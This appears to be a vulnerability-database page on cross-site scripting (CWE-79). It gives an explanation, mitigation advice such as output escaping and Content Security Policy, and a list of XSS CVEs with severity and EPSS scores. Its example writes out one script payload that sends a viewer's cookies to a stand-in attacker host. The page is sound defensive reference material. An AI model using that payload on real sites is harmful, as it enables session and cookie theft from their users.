Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-35155MEDIUMBus Pass Management System v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the searchdata parameter.EPSS 2.2%CVE-2024-6530HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 2.2%CVE-2019-10219MEDIUMA vulnerability was found in Hibernate-Validator. The SafeHtml validator annotation fails to properly sanitize payloads consisting of potentEPSS 2.2%CVE-2020-15159HIGHCross Site Scripting leading to RCE in baserCMSEPSS 2.2%CVE-2021-25099—Give < 2.17.3 - Unauthenticated Reflected Cross-Site ScriptingEPSS 2.1%CVE-2020-11029MEDIUMCross-site scripting in stats method (object cache) in WordPressEPSS 2.1%CVE-2021-22871—Revive Adserver before 5.1.0 permits any user with a manager account to store possibly malicious content in the URL website property, which EPSS 2.1%CVE-2021-32798CRITICALFailure to Sanitize Special Elements into a Different Plane (Special Element Injection) in notebookEPSS 2.1%CVE-2016-9470—Revive Adserver before 3.2.5 and 4.0.0 suffers from Reflected File Download. `www/delivery/asyncspc.php` was vulnerable to the fairly new ReEPSS 2.1%CVE-2022-48110MEDIUMCKSource CKEditor 5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Full Featured CKEditor5 widget. NOTEEPSS 2.1%CVE-2022-42096MEDIUMBackdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via Post content.EPSS 2.1%CVE-2022-42095MEDIUMBackdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.EPSS 2.1%CVE-2021-25063—Contact Form 7 Skins < 2.5.1 - Reflected Cross-Site Scripting (XSS)EPSS 2.1%CVE-2019-0557MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 2.1%CVE-2017-2601MEDIUMJenkins before versions 2.44, 2.32.2 is vulnerable to a persisted cross-site scripting in parameter names and descriptions (SECURITY-353). UEPSS 2.1%CVE-2022-0346—Google XML Sitemap Generator < 2.0.4 - Reflected Cross-Site ScriptingEPSS 2.1%CVE-2022-0288—Ad Inserter < 2.7.10 - Reflected Cross-Site ScriptingEPSS 2.1%CVE-2019-14862MEDIUMThere is a vulnerability in knockout before version 3.5.0-beta, where after escaping the context of the web application, the web applicationEPSS 2.1%CVE-2020-10146MEDIUMMicrosoft Teams displayName stored cross-site scripting vulnerabilityEPSS 2.0%CVE-2021-24176—JH 404 Logger <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 2.0%